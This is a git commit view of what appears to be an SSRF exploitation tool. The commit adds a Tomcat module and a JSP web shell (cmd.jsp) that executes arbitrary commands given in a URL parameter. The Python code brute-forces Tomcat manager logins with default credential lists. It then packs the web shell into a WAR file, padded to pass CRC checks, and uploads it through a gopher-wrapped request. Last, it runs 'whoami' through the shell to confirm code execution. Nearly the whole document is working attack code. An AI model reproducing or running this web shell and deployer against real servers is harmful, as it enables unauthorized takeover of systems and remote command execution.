MODULE - Tomcat WAR uploader

pull/18/head
Swissky 2019-07-12 01:01:28 +02:00
parent da86cab442
commit 12f233e2bb
2 changed files with 161 additions and 3 deletions

23
data/cmd.jsp Normal file
View File

@ -0,0 +1,23 @@
<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>

View File

@ -1,23 +1,43 @@
from core.utils import *
import argparse
import base64
import binascii
import getopt
import logging
import re
import sys
import urllib
import zipfile
# NOTE
# This exploit is a Python 3 version of Pimps script
# with a simple bruteforcer and auto exploiter
# https://github.com/pimps/gopher-tomcat-deployer
name = "tomcat"
description = "Tomcat - Bruteforce manager"
description = "Tomcat - Bruteforce manager and WAR uploader"
author = "Swissky"
documentation = [
"https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html",
"https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown"
"https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown",
"https://github.com/pimps/gopher-tomcat-deployer"
]
class exploit():
SERVER_HOST = "127.0.0.1"
SERVER_PORT = "8888"
SERVER_TOMCAT = "manager/html"
SERVER_USER = "tomcat"
SERVER_PASS = "tomcat"
EXPLOIT_JSP = "data/cmd.jsp"
EXPLOIT_WAR = "/tmp/cmd.war"
tomcat_user = ["tomcat", "admin", "both", "manager", "role1", "role", "root"]
tomcat_pass = ["password", "tomcat", "admin", "manager", "role1", "changethis", "changeme", "r00t", "root", "s3cret","Password1", "password1"]
def __init__(self, requester, args):
logging.info("Module '{}' launched !".format(name))
self.args = args
# Using a generator to create the host list
gen_host = gen_ip_list(self.SERVER_HOST, args.level)
@ -28,4 +48,119 @@ class exploit():
r = requester.do_request(args.param, payload)
if r != None and not "s3cret" in r.text:
logging.info("Found credential \033[32m{}\033[0m:\033[32m{}\033[0m".format(usr, pss))
logging.info("Found credential \033[32m{}\033[0m:\033[32m{}\033[0m".format(usr, pss))
self.SERVER_USER = usr
self.SERVER_PASS = pss
# bruteforce padding for a good zip file
# worst solution until I find an alternate
# way to convert the is_ascii from the original
# Python 2 payload
for i in range(5):
payload = self.send_war(i)
r = requester.do_request(args.param, payload)
if args.verbose == True:
logging.info("Generated payload : {}".format(payload))
logging.info("Sending CMD to cmd.jsp for padding: {}".format(i))
payload = wrapper_http("cmd/cmd.jsp?cmd=whoami", self.SERVER_HOST, self.SERVER_PORT)
r = requester.do_request(args.param, payload)
if r.text != None and r.text != "":
logging.info(r.text)
break
def send_war(self, padding):
with open(self.EXPLOIT_JSP, 'r') as f:
webshell_data = f.read()
webshell_data = self.validate_webshell_length_and_crc32(webshell_data + ' '*padding)
if self.args.verbose == True:
logging.info("[+] Creating new zip file: " + self.EXPLOIT_WAR)
self.create_war_zip_file(self.EXPLOIT_WAR, self.EXPLOIT_JSP, webshell_data)
if self.args.verbose == True:
logging.info("[+] Valid WAR file generated... Creating the gopher payload now...")
gopher_payload = self.build_gopher_payload()
return wrapper_gopher(gopher_payload, self.SERVER_HOST, self.SERVER_PORT)
def create_war_zip_file(self, war_filename,inputfile,webshell_data):
warzip = zipfile.ZipFile(war_filename,'w')
# Write a known good date/war_filename stamp
# this date/time does not contain and invalid byte values
info = zipfile.ZipInfo(inputfile,date_time=(1980, 1, 1, 0, 0, 0))
# Write out the webshell the zip file.
warzip.writestr(info,webshell_data)
warzip.close()
def validate_webshell_length_and_crc32(self, webshell_data):
valid_length=0
valid_crc32=0
modded_length=0
if self.args.verbose == True:
logging.info("Original file length: {}".format('{0:0{1}X}'.format(len(webshell_data),8)))
logging.info("Original file crc32: {}".format(format(binascii.crc32(webshell_data.encode())& 0xffffffff, 'x')))
while valid_length == 0 or valid_crc32 == 0:
crc_string = format(binascii.crc32(webshell_data.encode())& 0xffffffff, 'x')
ws_len_byte_string = '{0:0{1}X}'.format(len(webshell_data),8)
valid_length=1
valid_crc32=1
lead_byte_locations = [0,2,4,6]
for x in lead_byte_locations:
try:
if(ws_len_byte_string[x] == '8' or ws_len_byte_string[x] == '9' or crc_string[x] == '8' or crc_string[x] == '9'):
webshell_data = webshell_data+" "
valid_length = 0
valid_crc32 = 0
modded_length = modded_length+1
except:
continue
if modded_length > 0:
logging.info("The input file CRC32 or file length contained an invalid byte.")
logging.info("Length adjustment completed. " + str(modded_length) + " whitespace ' ' chars were added to the webshell input.")
logging.info("New file length: " +'{0:0{1}X}'.format(len(webshell_data),8))
logging.info("New file crc32: " + format(binascii.crc32(webshell_data.encode())& 0xffffffff, 'x'))
return webshell_data
def url_encode_all(self, string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
def build_gopher_payload(self):
warfile = ""
with open(self.EXPLOIT_WAR, 'rb') as f:
warfile = f.read()
headers = 'POST /manager/html/upload HTTP/1.1\r\n'
headers += 'Host: {host}:{port}\r\n'
headers += 'Content-Type: multipart/form-data; boundary=---------------------------1510321429715549663334762841\r\n'
headers += 'Content-Length: {contentlength}\r\n'
headers += 'Authorization: Basic {credential}\r\n'
headers += 'Connection: close\r\n'
headers += 'Upgrade-Insecure-Requests: 1\r\n'
headers += '\r\n'
headers += '{content_body}'
content = '-----------------------------1510321429715549663334762841\r\n'
content += 'Content-Disposition: form-data; name="deployWar"; filename="{filename}"\r\n'
content += 'Content-Type: application/octet-stream\r\n'
content += '\r\n'
content += '{warfile}\r\n'
content += '-----------------------------1510321429715549663334762841--\r\n'
content_body = content.format(
filename=self.EXPLOIT_WAR,
warfile=warfile
)
payload = headers.format(
host=self.SERVER_HOST,
port=self.SERVER_PORT,
credential=base64.b64encode((self.SERVER_USER + ":" + self.SERVER_PASS).encode()),
contentlength=len(content_body),
content_body=content_body
)
return self.url_encode_all(payload)